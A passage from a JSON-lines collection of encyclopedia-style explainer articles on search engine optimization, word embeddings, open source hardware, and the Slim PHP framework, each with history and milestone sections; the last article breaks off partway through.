include different interpretations of the keyword. User's search history is used to give contextual results. Geo-targeted matches may be given priority for some queries. \n\n\n### If there's only one important SEO technique, what would it be?\n\nIn the words of Google SEO Starter Guide 2017, \n\n> Creating compelling and useful content will likely influence your website more than any of the other factors discussed here.\n\nContent comes first. It should be unique and of high quality. It should add value to those who visit your site. When it's backed by great design, we can achieve great user experience across devices. This means that aiming for higher search ranking is not the primary goal. The focus should be on content and user experience. Every other SEO technique should not stray from this focus. \n\nApart from this, SEO is about keywords, links, relevance, reputation and trust. \n\n\n### What's the meaning of link building for SEO?\n\nLink building is the process of getting more links to your own webpages. Incoming links, also called **backlinks**, is an important SEO signal that leads to better ranking. Total number of links, number of linking root domains, number of links from separate C-class IPs are all important. Age and authority of pages or domains linking to your site are also important. The anchoring text used for a backlink is also relevant. \n\nThe recommended approach is to earn backlinks rather than buy them. Earning backlinks is a slow process but this builds your site's reputation in a natural way for better long-term results. To earn backlinks, create unique high-quality content, promote your content, get positive reviews from influencers, and partner with relevant sites without resorting to link scheming. \n\n**Internal link building** is something on which you have greater control. Build internal links based on keyword research and information architecture of your site. Map each page to keywords and user intent. Use this to create an SEO wireframe to help you build internal links. Use navigation bars, menus and breadcrumbs to link to key pages. \n\n\n### How can I make use of social signals for better SEO?\n\nSocial signals are basically user engagement on social media platforms. These include likes, shares, comments, and so on. \n\nSocial signals are important for ranking in Bing search engine. Google Search has said that social signals don't directly influence ranking. However, research has shown good correlation between ranking and social signals. This is because social signals amplify other SEO factors that in turn affect ranking. \n\nIt therefore makes sense to optimize your social presence to indirectly affect ranking. Your profile and branding should be consistent across platforms. Link your profiles to your site. Post regularly across platforms. Post per day about 15 tweets, 1 LinkedIn post, 1 Facebook post, and 2 Instagram posts. Use viral headlines and images in posts. Use hashtags, which are essentially keywords. Explicitly ask for shares. On your web pages, use social media plugins to make sharing easier. For best possible engagement, share only your best posts.  \n\n\n### What should web designers keep in mind for better SEO?\n\nDesigners should **design for SEO** rather than just user experience (UX). One approach is to make good use of interactions (such as mouseover or mouse click) and expandable elements. For example, page can load with a minimalistic view but via interactions give more information that's also crawlable. \n\nImage-based banners and call-to-action elements are not crawlable. Image's `alt` attribute is plain text and of limited length. Instead, go for crawlable **text-based design** using webfonts, HTML and CSS, along with schema markup. \n\nDesign should be responsive. More than just fitting to different screen sizes, aim for consistent UX across devices. For example, have a fluid design that maintains proportions. Google's Mobile-Friendly Test can inform if your site's well designed for mobiles. \n\nUse **header tags** to organize content both for visitors and search engines. Using header tags in sidebars, header and footer is not a good SEO practice. Pop-ups and banners are penalized in mobile SEO. Due to voice interfaces, prioritize your design to be heard rather than seen. \n\n\n### What is meant by black hat SEO versus white hat SEO?\n\n**White Hat SEO** is when an SEO professional doesn't deviate from the rules defined by search engines. Getting results via white hat SEO takes time but they also last longer. Sites using only white hat SEO will not be penalized by search engines since they play by the rules. \n\n**Black Hat SEO** is when an SEO professional try to game the system to get better rankings. Search engine guidelines and rules are flouted. Black hat techniques may give quick results but there's a risk of getting penalized. However, we should point out that breaking search engine rules is not illegal. \n\nBuying links is a black hat technique. Automatically following someone who follows you on social media is another one. Cloaking is a black hat practice of showing one version of a web page to search crawlers and another version to normal visitors. Another one is keyword stuffing where irrelevant keywords are forced into a page. \n\nIn practice, no site is 100% white hat. When white hat SEO professionals try to acquire links, they're crossing into \"gray hat\" territory. \n\n\n### Are there SEO techniques that I should avoid?\n\nGoogle has shared some techniques to avoid: automatically generated content, scraped content, pages with little original content, cloaking, sneaky redirects, hidden texts or links, doorway pages, using irrelevant keywords, abusing rich snippets markup, sending automated queries to Google, etc. Too many ads on a page lowers the ranking. \n\nBing has shared a similar list to avoid: link buying or spamming, social media schemes, meta refresh redirects, duplicated content, keyword stuffing and misleading markup. \n\nDon't optimize on a single keyword since search engines focus on search intent. Don't design for just desktops. Make your design mobile friendly, fast, and responsive. Don't focus on quantity by duplicating or copying content; quality of your content is more important. Don't put important content in formats that most likely won't be crawled, such as, PDF files or images. Worse still, using `noindex` in meta tags or robots.txt file wrongly can tell crawlers to ignore your content. \n\nFinally, don't think that SEO is a one-time task. Keep adding new content to your site. If you change your site's structure, properly redirect old URLs. Stay updated on new SEO trends. \n\n\n### What are some common myths about SEO?\n\nHere are some SEO myths and clarifications of the same:\n\n    + Boost your rankings overnight by hiring an SEO agency: improving rankings takes time.\n    + Guest blogging is obsolete: avoid spamming blogs and publish quality content.\n    + SEO is a one-time effort: it's a continuous process.\n    + Link building is dangerous: grow links naturally without being manipulative.\n    + CTR is no longer relevant: they still influence ranking but clicks from bots will be penalized.\n    + Keywords and keyword research are dead: they're important but think in terms of context and search intent; keyword ratio is useless.\n    + Keyword-optimized anchor text is bad: it's bad if it's overoptimized; hence aim for diversity (natural, brand, URL, generic).\n    + Paid rankings will improve organic rankings: they're in fact treated separately.\n    + XML sitemap improves rankings: it doesn't but search engines will index the site faster.\n    + Meta tags are irrelevant: they don't affect rankings but they help search engines understand your site better.\n    + H1 tags are important for rankings: not really but use them to organize your content and help users navigate more easily.\n\n### What are some tools that help with SEO?\n\nGoogle Search Console is an essential tool. Formerly called Google Webmaster Tools, it provides rankings and traffic reports for keywords and pages. \n\nFor backlink analysis, AHREFs and Majestic are useful. With these, we get to know who's linking to our site or to sites of our competitors. With this information, we can plan for link building. Similar tools include Buzzsumo, FollowerWonk, and Little Bird. \n\nFor keyword research, use Google's Keyword Planner, although this is useful only for paid search. For organic search, consider using Moz Keyword Explorer tool and SEMRush’s Keyword Magic Tool. Google Trends is also useful for competitive analysis on keywords. \n\nSince performance is an SEO factor, use Google PageSpeed Insights, Pingdom, or WebPageTest to know areas where performance can be improved. For local SEO, use Moz Local or Whitespark. \n\nSEO platforms bring together many tools for analyzing and optimizing our site. Moz, BrightEdge, Searchmetrics, Linkdex, and SEO PowerSuite are some examples. \n\nTo know if SEO is giving better results, use Google Analytics. \n\n## Milestones\n\n1990\n\nThe history of SEO is naturally tied to the history of **search engines**. What's probably the world's first search engine, Archie is released in 1990. The World Wide Web Wanderer, later called Wandex, is released in 1993 as one of the first web crawlers. By 1994, many search engines are operational including Alta Vista, Infoseek, Lycos, and Yahoo. Google itself is founded in 1998 but it started in 1996 with the name BackRub. \n\n1997\n\nDanny Sullivan launches *Search Engine Watch*, a site for news on search industry and tips for better ranking.  \n\n1998\n\nFor sponsored links and paid search, Goto.com is launched. Advertisers bid on the site to rank higher than organic results. In fact, organic results were bad since search engines didn't succeed against black hat practices. The alternative was paid search or getting listed on popular directories such as Yahoo and DMOZ. \n\n1999\n\nThe first conference focused on search marketing, called *Search Engine Strategies*, takes place. \n\n2000\n\n**Google Toolbar** becomes available within Internet Explorer browser. This allows SEO practitioners to see their PageRank score. Meanwhile, some folks start sharing SEO related information at a London pub. This later evolves into *Pubcon*, a regular search conference. \n\nNov  \n2003\n\nWith Google leading the search market, it releases the Florida update. Sites that were earlier ranked higher due to **keyword stuffing** (a black hat practice), lose their ranking. The Florida update gives better ranking for quality content and authentic backlinks. This partly solves the problem created earlier by Blogger.com and Google's AdSense that content creators gamed to make a quick buck. \n\n2004\n\nGoogle starts looking at local search intent and thus is born **local SEO**. This year is also when Google personalizes results based on search history and interests. \n\nJan  \n2005\n\nGoogle, Yahoo and MSN jointly create the `nofollow` attribute to combat spammy links and comments. \n\n2011\n\nWith Google's Panda update (delivered over many months), the search engine penalizes **content farms** created solely for driving search engine results. This affected sites having scraped and unoriginal content. Panda also penalized pages with high ad-to-content ratios. \n\n2012\n\nWith the Penguin update of Google Search, sites with overoptimized anchor text, or spammy hyperlinks are penalized. \n\n2013\n\nWith the Hummingbird update of Google Search, search is based on keywords but results are more about **search intent**. This update affects 90% of searches worldwide. Design for user intent among information (to know), location (to go), action (to do), or shopping (to buy). To help search engines figure out intent, let each page have a singular purpose. \n\n2015\n\nIn April, Google Search gets a **mobile-friendly** update named Mobilegeddon. In October, Google releases an AI-powered search named *RankBrain*. It's initially used to interpret 15% of searches that Google has never seen before. In later years, RankBrain plays a more central role in all of Google searches.","meta":{"title":"Search Engine Optimization","href":"search-engine-optimization"}}
{"text":"# Word Embedding\n\n## Summary\n\n\nWord embedding is simply a vector representation of a word, with the vector containing real numbers. Since languages typically contain at least tens of thousands of words, simple binary word vectors can become impractical due to high number of dimensions. Word embeddings solve this problem by providing dense representations of words in a low-dimensional vector space.\n\nSince mid-2010s, word embeddings have being applied to neural network-based NLP tasks. Among the well-known embeddings are word2vec (Google), GloVe (Stanford) and FastText (Facebook).\n\n## Discussion\n\n### Why do we need word embeddings?\n\nConsider an example where we have to encode \"the dog DET\", which is about 'dog', its previous word 'the' and whose part of speech is determiner (DET). If we represent every word and every part of speech in its own dimension, we would require a high-dimensional vector since our vocabulary will have lots of words. The vector will mostly be zeros except in three places that represent 'dog', 'the' and 'DET'. Called *One-Hot Encoding*, this a **sparse** representation. \n\nInstead, word embeddings give a **dense** representation in a lower-dimensional space. Each entity gets a unique representation in this vector space. As shown in the figure, both words have six dimensions each and the part of speech has four dimensions. The entire vector representation is now only 16 dimensions. This makes it practical for further processing. \n\nMore importantly, word embeddings capture similarities. For example, even if the word 'cat' is not seen during training, it's embedding would be similar to that of 'dog'. Likewise, different tenses of the same verb are correlated. \n\n\n### Is word embedding related to distributional semantics?\n\nYes. The term \"word embedding\" has been popularized by the deep learning community. In computational linguistics, the more preferred term is **Distributional Semantic Model (DSM)**, which comes from the theory of distributional semantics. Other equivalent terms include distributed representation, semantic vector space or word space. \n\nEssentially, words are not represented as a single number or symbol. Rather, the representation is distributed in a vector space of many dimensions. The notion of semantics emerges because two words that are close to each other in the vector space are somehow semantically related. Similar words form clusters in the vector space. \n\n\n### How can we extract semantic relationships captured within word embeddings?\n\nWord embeddings are produced in an unsupervised manner. We don't inform the model anything about syntactic or semantic relationships among words. Yet, word embeddings seem to capture these relationships. For example, country names and their capital cities form a relationship. Relations due to gender or verb tense of words are other examples. \n\nTo see this in practice, consider the following vector equations: \n\n$$king\\,–\\,man\\,+\\,woman = queen\\\\Paris\\,–\\,France\\,+\\,Germany = Berlin$$\n\nThe relationship between 'king' and 'man' is same as that between 'queen' and 'woman'. This is captured in the vector space. This means that given the word vectors for Paris, France and Germany, we can find the capital of Germany. The term **word analogy** is often used to refer to this phenomenon. \n\n\n### What are some applications of word embeddings?\n\nWord embeddings have become useful in many downstream NLP tasks. Word embeddings along with neural networks have been applied successfully for text classification, thereby improving customer service, spam detection, and document classification. Machine translations have improved. Analyzing survey responses or verbatim comments from customers are specific examples. \n\nWord embeddings help in adapting a model from one domain to another, such as from legal documents to news articles. In general, this is called **domain adaptation** that's useful for machine translation and transfer learning. In addition, pretrained word vectors can be adapted to domains where large training datasets are not available. \n\nIn recommendation systems, such as suggesting a playlist of songs, word embeddings can figure out what songs go well together in a particular context. \n\nIn search and information retrieval applications, word embeddings have been shown to be insensitive to spelling errors and exact keyword matches are not required. Even for words not seen during training, machine learning models work well provided such words are in the vector space. Thus, word embeddings are being preferred over older approaches such as TF-IDF or bag-of-words. \n\n\n### What traits do we expect from a good word embedding?\n\nDifferent models give different word embeddings. A good representation should aim for the following: \n\n    + **Non-conflation**: A word can occur in different contexts giving rise to variants (tense, plural, etc.). Embedding should represent these differences and not conflate them.\n    + **Unambiguous**: All meanings of the word should be represented. For example, for the word 'bow', the difference between \"the bow of a ship\" and \"bow and arrows\" should be represented.\n    + **Multifaced**: Words have multiple facets: phonetic, morphological, syntactic, etc. Representation should change when tense changes or a prefix is added.\n    + **Reliable**: During training, word vectors are randomly initialized. This will lead to different word embeddings from the same dataset. In any case, the final output should be reliable and show consistent performance.\n    + **Good Geometry**: There should be a good spread of words in the vector space. In general, rare words should cluster around frequent words. Frequent unrelated words should be spread out.\n\n### Which are the well-known word embeddings?\n\nOne of the first word embeddings is the **Neural Network Language Model (NNLM)** in which word embeddings are learnt jointly with the language model. Embeddings can also be learnt using Latent Semantic Analysis (LSA) or Latent Dirichlet Allocation (LDA). \n\nNNLM has high complexity due to non-linear hidden layers. A tradeoff is to first learn the word vectors using a neural network with a single hidden layer, which is then used to train the NNLM. Other log-linear models are **Continuous Bag-of-Words (CBOW)** and **Continuous Skip-gram**. An improved version of the latter is Skip-gram with Negative Sampling (SGNS). These are part of the *word2vec* implementation. \n\nCBOW and Skip-gram models use only local information. **Global Vectors (GloVe)** is an approach that considers global statistical information as well. Word-to-word co-occurrence counts are used. GloVe combines LSA and word2vec. \n\nRare words can be poorly estimated. **FastText** overcomes this by using subword information. \n\nOther models include ngram2vec and dict2vec. **Embeddings from Language Models (ELMo)** is a representation that captures sentence level information. Based on ELMo, BERT and OpenAI GPT are two pretrained models for other NLP tasks that have been proven effective. \n\n\n### What's the role of the embedding layer and the softmax layer?\n\nThe general architecture of word embeddings using neural networks involves the following: \n\n    + **Embedding Layer**: Generates word embeddings from an index vector and a word embedding matrix.\n    + **Hidden Layers**: These produce intermediate representations of the input. LSTMs could be used here. In word2vec, there are no hidden layers.\n    + **Softmax Layer**: The final layer that gives the distribution over all words in the vocabulary. This is the most computationally expensive layer and much work has gone into simplifying this. Two broad categories are softmax-based approaches and sampling-based approaches.\n\n### What's the process for generating word embeddings?\n\nWe can use a neural network on a supervised task to learn word embeddings. The embeddings are weights that are tuned to minimize the loss on the task. For example, given 50K words from a collection of movie reviews, we might obtain a 100-dimensional embedding to predict sentiment. Words signifying positive sentiment will be closer in the vector space. Since embeddings are tuned for a task, selecting the right task is important. \n\nWord embeddings can be learnt from a standalone model and then applied to different tasks. Or it could be learnt jointly with a task-specific model. For good embeddings, we would need to train on millions or even billions of words. An easier approach is to use pretrained word embeddings (word2vec or GloVe). They can be used \"as is\" if they suit the task at hand. If not, they can be updated while training your own model. \n\nIn biomedical NLP, it was noted that bigger corpora don't necessarily result in better embeddings. Sometimes intrinsic and extrinsic evaluation methods don't agree well. Hyperparameters that we can tune include negative sampling size, context window size, and vector dimension. Gains plateau at about 200 dimensions. \n\n\n### Could you share some practical tips for applying word embeddings?\n\nPredictive neural network models (word2vec) and count-based distributional semantic models (GloVe) are different means to achieve the same goal. There's no qualitative difference. Word2vec has proven to be robust across a range of semantic tasks. \n\nFor syntactic tasks such as named entity recognition or POS tagging, a small dimensionality is adequate. For semantic tasks, higher dimensionality may prove more effective. It's also been noted that pretrained embeddings give better results. It's been commented that 8 dimensions might suffice for small datasets and as many as 1024 dimensions for large datasets. \n\nIn 2018, selecting the optimal dimensionality was still considered an open problem. Too few dimensions, embeddings are not expressive. Too many dimensions, embeddings are overfitted and model becomes complex. Commonly, 300 dimensions are used. \n\n\n### What are some challenges with word embeddings?\n\nModels such as ELMo and BERT, capture surrounding context within word embeddings. However, word embeddings don't capture \"context of situation\" the way linguist J.R. Firth defined it in the 1960s. To achieve true NLU, we would have to combine the statistical approach of word embeddings along with the older linguistic approach. \n\nMore generally, it's been said the deep learning isn't sample efficient. Perhaps we need something better than deep learning to tackle language with compositional properties. \n\nWord embeddings don't capture phrases and sentences. For example, it would be misleading to combine word vectors to represent \"Boston Globe\". Embeddings for \"good\" and \"bad\" might be similar, causing problems for sentiment analysis. \n\nWord embeddings don't capture some linguistic traits. For example, vectors for 'house' and 'home' may be similar but vectors of 'like' and 'love' are not. In general, when a word has multiple meanings, called homographs or polysemy, its vector is an average value. One solution is to consider both the word and its part of speech. Inflections also cause problem. For example, 'find' and 'locate' are close to each other but not 'found' and 'located'. Lemmatization can help before training the word vectors. \n\n\n### What software tools are available for word embeddings?\n\nBoth word2vec and GloVe implementations are available online. In some frameworks such Spark MLlib or DL4J, word2vec is readily available. \n\nSome frameworks that support word embeddings are S-Space and SemanticVectors (Java); Gensim, PyDSM and DISSECT (Python). \n\nDeeplearning4j provides the `SequenceVectors` class, an abstraction above word vectors. This allows us to extract features from any data that can be described as a sequence, be it transactions, proteins or social media profiles. \n\nA tutorial explaining word embeddings in TensorFlow is available.\n\nYou can also download pretrained word embeddings. Note that many use lemmatization while learning word embeddings. \n\n## Milestones\n\n1950\n\nIn contrast to the formal linguistics of Noam Chomsky, researchers in the 1950s explore the idea that context can be useful for linguistic representation. This is based on structuralist linguistics. **Distributional Hypothesis** by Zellig Harris states that word meanings are associated with context. Another linguist John Firth states,\n\n> You shall know a word by the company it keeps!\n\n1960\n\nEarly attempts are made in the 1960s to construct features to represent semantic similarities. Hand-crafted features are used. Charles Osgood's semantic differentials is an example. \n\n1990\n\nDeerwester et al. note that words and documents in which they occur have a semantic structure. They exploit this structure for information retrieval to match documents based on concepts rather than keywords. They map words to documents as a matrix with word counts, giving a sparse representation. They attempt at the most 100 dimensions and employ the technique of Singular Value Decomposition (SVD). They coin the term **Latent Semantic Indexing (LSI)**. \n\n2003\n\nBengio et al. propose a language model based on neural networks, though they're not the first ones to do so. They use a feed-forward NN with one hidden layer. Words are represented as feature vectors. Model learns vectors and joint probability function of word sequences. However, they don't use the term \"word embeddings\". Instead, they use the term **distributed representation** of words. Note that here we're interested in similar words whereas LSI is about similar documents due to its application to information retrieval. \n\n2008\n\nCollobert and Weston show the usefulness of pretrained word embeddings. Using such word embeddings, they show that a number of downstream NLP tasks can be learned by a neural network. They consider both syntactic tasks (POS tagging, chunking, parsing) and semantic tasks (named entity recognition, semantic role labelling, word sense disambiguation). In their approach, a word is decomposed into features and then converted to vectors using lookup tables. \n\n2013\n\nAt Google, Mikolov et al. develop **word2vec** that helps in learning standalone word embeddings from a text corpus. Efficiency comes from removing the hidden layer and approximating the objective. Word2vec enabled large-scale training. Embeddings from the skip-gram model is shown to give state-of-the-art results for sentence completion, analogy and sentiment analysis. \n\n2014\n\nStanford researchers release **GloVe** word embedding. This has vectors of 25-300 dimensions learned from up to 840 billion tokens. \n\n2018\n\nConneau et al. apply word embeddings to language translation by aligning monolingual word embedding spaces in an unsupervised way. They don't require parallel corpora or character-level information. This can therefore benefit low-resource languages. They achieve better results as compared to supervised methods. Earlier in 2016, Sebastian Ruder published a useful survey of many cross-lingual word embeddings.","meta":{"title":"Word Embedding","href":"word-embedding"}}
{"text":"# Open Source Hardware\n\n## Summary\n\n\nMany developments have contributed to the interest and growth of Open Source Hardware (OSHW): free and open source software (FOSS), 3D printing, crowdfunding, the maker movement, and Moore's Law reaching its limits.\n\nWhile OSHW is commonly thought to include electronics and mechanical designs, OSHW today has a much broader reach including fashion, furniture, musical instruments, farm machinery, bio-engineering, and more. \n\nOSHW is not a standard, nor is there a single organization tasked with leading the OSHW movement. However, the Open Source Hardware Association (OSHWA) hopes to become the hub of this movement. There's also the Open Source Hardware Definition, which forms the basis for defining licenses for OSHW.\n\n## Discussion\n\n### What's the historical context for open source hardware?\n\nIn the ham radio community sharing knowledge was a common practice. Then in the 1970s, computers were shipped as kits with schematics included. This resulted in a hacking culture among computer enthusiasts. This culture was about tinkering, experimenting, sharing, and collaborating. \n\nFOSS that started in the 1980s contributed to OSHW, although open hardware need not be about either electronics or software. The web of the 1990s made it easier to share designs and best practices. By early 2010s, OSHW became more widely known due to the following reasons:\n\n    + **3D Printing**: This brought down prototyping and production costs. It made design iterations easier and faster.\n    + **Maker Movement**: Started in the mid-2000s, this established magazines, platforms, and fairs/exhibitions for people to come together, collaborate and co-create. Maker labs brought essential tools under roof, gave people affordable access to these tools, and thereby democratized production.\n    + **Crowdfunding**: Those with good ideas could get upfront funding from potential users of the product without depending on traditional investment routes or financial institutions.\n    + **Moore's Law**: With the Law reaching its limits, there's a need to create application-specific silicon and open designs can keep costs down.\n\n### What aspects of hardware can be open sourced?\n\nOpen source hardware is about sharing the design files of hardware. This may include architecture/design drawings, schematics, PCB layout, bill of materials, HDL code, production/assembly instructions, and anything else that can enable others to replicate the hardware. \n\nThere's no use claiming open design if the file format is proprietary and can be opened only with closed tools. Thus, the definition of open source can be expanded to include design file formats and/or access to tools or software to manipulate the files. Along with original proprietary files, intermediate files in open formats should be made open. Examples of file formats include PDFs of circuit schematics, Gerbers for circuit board layouts, and IGES or STL files for mechanical objects. OpenCAD, KiCAD and Eagle are examples of open tools. \n\nIn the spirit of open source, users should be able to study the design, modify it for their specific needs, or distribute it. They also have the freedom to make and sell hardware based on the design. \n\n\n### Won't people misuse my designs and get rich at my expense?\n\nMaybe but not necessarily. Firstly, just because you adopted OSHW licensing, doesn't mean you cannot also sell your products commercially and be successful in the process. Even if others have access to your design, there's cost and effort involved in sourcing, manufacturing, assembling, testing, distributing and providing technical support. If you establish your own brand value, provide a quality product at a good price, it's difficult for others to compete. \n\nThe advantage of being open is that you benefit from community support and contributions. You establish an ecosystem around your product. While commercial vendors offer free reference designs, OSHW is a community effort. An open source design is likely to be more robust. It enables faster prototyping and it's continuously improved via multiple contributors. \n\nIn conclusion, the case for keeping your hardware design proprietary is weaker than for software. Investment towards manufacturing and distribution is still a barrier to entry. Hardware can also be differentiated based on the firmware that need not necessarily be open.\n\n\n### What business models are possible with OSHW?\n\nYour design may be open and freely shared but you may charge for products made from open designs. Technical support, maintenance and upgrades can be part of your services model and customers will be willing to pay for them. \n\nYou could create innovative services around open designs. You could then set up an online marketplace, aggregate and analyze data, etc. Openness becomes an incentive for customers because they have the freedom to tinker and customize. You can provide them training, resources, and additional services. \n\nYour product and its open design should be a market enabler. You can build an entire platform based on your open design. You can partner with others for peripherals that may or may not be open. In any case, a healthy ecosystem based on your open design will likely lead to better adoption and sales of your core products. This has been the case with Arduino and add-on boards called *shields*; and Raspberry Pi and add-on boards called *hats*.\n\n\n### What's the recommended licensing for OSHW?\n\nIn the days before any OSHW licenses were defined, people simply used FOSS licenses for CAD drawings or firmware. To call something OSHW, it should be completely open without restrictions. Any license that prevents commercial use is not compatible with OSHW. \n\n\"Creative\" works are protected by copyright and \"useful\" or functional works are protected by patents. Thus, copyrights don't apply to hardware. If hardware is not patented, anyone can copy, modify or build upon the hardware. But copying or modifying hardware is lot easier if the design files are available. Thus, when we talk about open licensing or copyleft for hardware, we are referring to the design files and related documentation. \n\nIn the world of software, there are plenty of licenses with different degrees of openness. Among the copyleft (share-alike or viral) licenses are GPL, CC BY-SA, CERN Open Hardware License (OHL) and TAPR Open Hardware License (OHL). Permissive licenses that allow for closed derivatives include FreeBSD, MIT, CC Attribution, and Solderpad Hardware License.  \n\n\n### What are some examples of OSHW projects?\n\nWell-known examples that use CC BY-SA include Arduino, mBed HDK, BeagleBoard, Particule (formerly Spark), and Tessel. mangOH is an example that uses Creative Commons Attribution license. \n\nBack in 2013, some successful OSHW projects included Arduino, Raspberry Pi, OpenROV (remote-operated underwater robot), DIY Drones, LittleBits, and Makerbot Replicator 2, Lasersaur, Robo3D, and Console II. \n\nNoteworthy projects of 2016 included the Global Village Construction Set (fabricate industrial machines), Open Source Beehives (bee home and sensor kits for tracking), AKER garden kits, WikiHouse (building system), FarmBot (CNC farming machine), OpenDesk (make furniture), OSVehicle, RepRap (3D printer), OpenKnit (digital knitting), Defense Distributed (3D firearms), APM:Copter, and Open Hand Project (robotic prosthetic hands).\n\nSome OSHW boards include Arduino Due, Freescale Freedom, Microchip ChipKIT Uno32, and Beaglebone Black. Mouser website also lists dozens of other boards. Olimex offers OSHW boards including Linux-based OLinuXino boards. \n\nAt chip level, RISC-V offers an open architecture from which customized SoCs can be designed. Other include lm32, mor1kx, and blocks from the OpenCores project. There's talk of even building an open source supercomputer. \n\n\n### What are some online resources for OSHW?\n\nDesign files, particularly for 3D printing, can be downloaded from Thingiverse, MyMiniFactory, Pinshape, and Cults. Thingiverse was launched in 2008 and it encourages folks to modify and re-upload designs to the site. Other sources are Hackster.io, Hackaday, Open Electronics and the Open Circuits Institute. \n\nFor crowdfunding, try CrowdSupply, Kickstarter, Goteo and Tindie. Adafruit and SparkFun, while selling proprietary products, also promote OSHW. Olimex, Pandaboard.org, and SolderCore are suppliers of OSHW that are also available from Mouser. \n\nIf you're open sourcing your own product, you may release the design files on your own website, on Thingiverse or similar sites. If you wish to make it open during the design and development stages, GitHub or its alternatives can be a place to share. Prusa Mendel and Mendel90 are just two examples of projects that have received lots of community contributions, what in the tech speak are called \"pull requests\". \n\nElement14 has an online community forum for discussions on OSHW.\n\n## Milestones\n\nMar  \n1975\n\nAt a garage in Menlo Park, California, some computer hobbyists have the first meeting of their newly formed **Homebrew Computer Club**. At such a meeting, Steve Wozniak gets inspired to build his own computer and share the blueprints with others. This leads to Apple-1. However, Steve Jobs convinces Wozniak to sell Apple-1 rather than share them freely, thus marking the birth of Apple in 1977. \n\n1997\n\nBruce Peters launches the **Open Hardware Certification Program** to allow vendors to self-certify their products as open. This implies availability of documentation so that anyone could write their own device drivers. \n\n1998\n\nMozilla releases source code of Netscape browser suite. Not wanting to call it free software (in the spirit of the Richard Stallman's Free Software Foundation), the term **Open Source** is coined. The **Open Source Initiative (OSI)** is also formed by Eric Raymond and Bruce Peters. At this point, it's all about software, not hardware.  \n\n2003\n\nHernando Barragán creates **Wiring** so that designers and artists can approach electronics and programming more easily. This work leads to the creation of **Arduino** in 2005. \n\n2005\n\nThe birth of the modern maker movement starts with the launch of **Make: magazine**. In August, **Instructables** launches as an online platform to share step-by-step instructions to make something.  \n\n2006\n\nDale Dougherty organizes the first **Maker Faire** for makers to showcase their creations. In October, as an open access DIY workshop, **TechShop** opens in Menlo Park, California. \n\n2010\n\nAt a open hardware workshop in March, some folks define the Open Source Hardware Definition 0.1. In July, v0.3 is made public. These are based on the definition of open source (from 1998). As on June 2019, Open Source Hardware (OSHW) Definition 1.0 is current. Open-Source Hardware Definition is not itself a license but OSHW licenses are written so as to be compatible with the definition. In September, the first **Open Hardware Summit** is organized, in New York City. Since then it has become an annual event. \n\n2011\n\nThe original gear logo of OSHW is selected via a community contest. A modified version of the winning logo is announced at the Open Hardware Summit. In July, the **CERN Open Hardware License (OHL)** is announced. To facilitate collaboration and sharing, CERN had already set up the Open Hardware Repository in January 2009.  \n\nFeb  \n2012\n\nThe first **Raspberry Pi Model B** is released as a credit-card-sized single-board computer (SBC) retailing at only $35. The idea is to make computers affordable, accessible and fun to a new generation of programmers.  Within two years, 2.5 million units are sold. By 2018, 22 million are sold worldwide. Also in 2012, the **Open Source Hardware Association (OSHWA)** is formed. Certification of OSHW is also done by the Association.\n\nJul  \n2018\n\nThe U.S. DARPA announces funding of $1.5 billion over five years for what it calls the Electronic Resurgence Initiative (ERI). This includes the **POSH (Posh Open Source Hardware)** project meant to create a Linux-based platform for the design and verification of open source hardware IP blocks for SoCs. \n\nMar  \n2019\n\nEsperanto, Google, SiFive, and Western Digital get together to form the **CHIPS Alliance**. The purpose is to foster open-source chip designs. The alliance is committed to RISC-V architecture but wishes to encourage more such open designs.","meta":{"title":"Open Source Hardware","href":"open-source-hardware"}}
{"text":"# Slim Framework\n\n## Summary\n\n\nSlim is a minimalistic PHP framework for implementing APIs. At its core, we can see it simply as a \"routing library\". It receives HTTP requests, routes them to the correct callback functions, and forwards the HTTP responses. By being minimal, Slim is fast and efficient. Unlike fullstack frameworks, developers don't end up installing lots of features that they may never use. \n\nSlim uses the concept of **middleware**. Each middleware can implement something specific. By chaining together many such middleware, complex web applications can be built. Many third-party middleware are available that implement authentication, security, view templating for generating HTML responses, caching, and more. \n\nSlim is open source and maintained by a community of developers. It can be used on its own (server-side rendering) or used alongside frontend frameworks such as React or Vue (client-side rendering).\n\n## Discussion\n\n### Why should I prefer Slim over so many other PHP frameworks?\n\nSlim is a good choice if you're looking for \"performance, efficiency, full control and flexibility\". Slim supports standard interfaces such as PSR-7 and PSR-15. This prevents vendor lock-in. Slim framework plays well with good software practices including SOLID principles, design patterns, security principles and dependency injection. \n\nSlim's easier to learn than fullstack frameworks such Laravel or Symfony. Fullstack frameworks provide many things out of the box: authentication, security, database integration, template engines, session management, and more. With Slim, these are outside the core framework. They're available as middleware from third-party vendors. Developers can install them via Composer only if and when their app needs them. \n\nSlim is suited for building modern RESTful APIs and services where data is exchanged in JSON or XML formats.   Complex apps can also be built since the core framework can be extended with middleware. Complete web pages can be rendered on the server side with templating engines such as Twig-View or PHP-View. This brings Slim into the domain of MVC frameworks.  Developers have used Slim backend with Next.js frontend. SPAs with Slim and Vue.js are possible. \n\n\n### How's the performance of Slim?\n\nIn a performance study from 2016, Slim v2.6 ranked fifth in terms of throughput (requests per second), peak memory usage and execution time. Phalcon and Ice were the best. In another study from 2017, Slim 3.0 ranked third behind Phalcon and CodeIgniter. It performed better than microframeworks Silex and Lumen.  \n\nSlim's routing is based on FastRoute, which optimizes the parsing of regular expressions via chunking. \n\n\n### What are the key features of Slim?\n\nThe key features of Slim include these: \n\n    + **Routing**: HTTP requests are efficiently routed to mapped callbacks. Routes are matched using regular expressions that can also capture and pass parameters into the callbacks. A callback is usually a function or a method of a class.\n    + **Middleware**: Built-in or third-party middleware allow specific handling of requests and responses. Developers can also write custom middleware. The middleware approach is modular and flexible: middleware can be reordered or disabled if needed.\n    + **PSR-7 Support**: HTTP messages interfaces conform to PSR-7 specifications. Slim provides an implementation of this interface but developers are free to adopt any alternative implementation.\n    + **Dependency Injection**: This makes the app more testable or configurable. The interface is PSR-11 compliant.\n\n### Could you share details of how Slim middleware work?\n\nIn Slim, middleware can be visualized as concentric circles. Middleware are called from the outermost to the innermost circles. At the center, the application executes and routing takes place. Subsequently, middleware are again processed but in innermost-to-outermost circles.  Another useful visualization is the LIFO stack. \n\nSuppose we have two middleware: authentication and caching. Authentication middleware is executed first. If authentication fails, app skips further processing. If authentication succeeds, then caching middleware is executed. If response exists in the cache, app uses the cache and skips the main callback processing. If cache doesn't exist, the main callback is executed that generates the response. Then caching middleware is called to store the response in the cache if necessary. Finally authentication middleware is called to complete or modify the response if needed. \n\nSlim middleware deal with PSR-7 request/response objects and PSR-15 request handler object. Middleware can be added to the app object and thus potentially called with every request. Or it can be added to only specific routes, in which case such middleware are called after routing is done. In both cases, outermost middleware is added last. \n\n\n### Which are the packaged middleware in 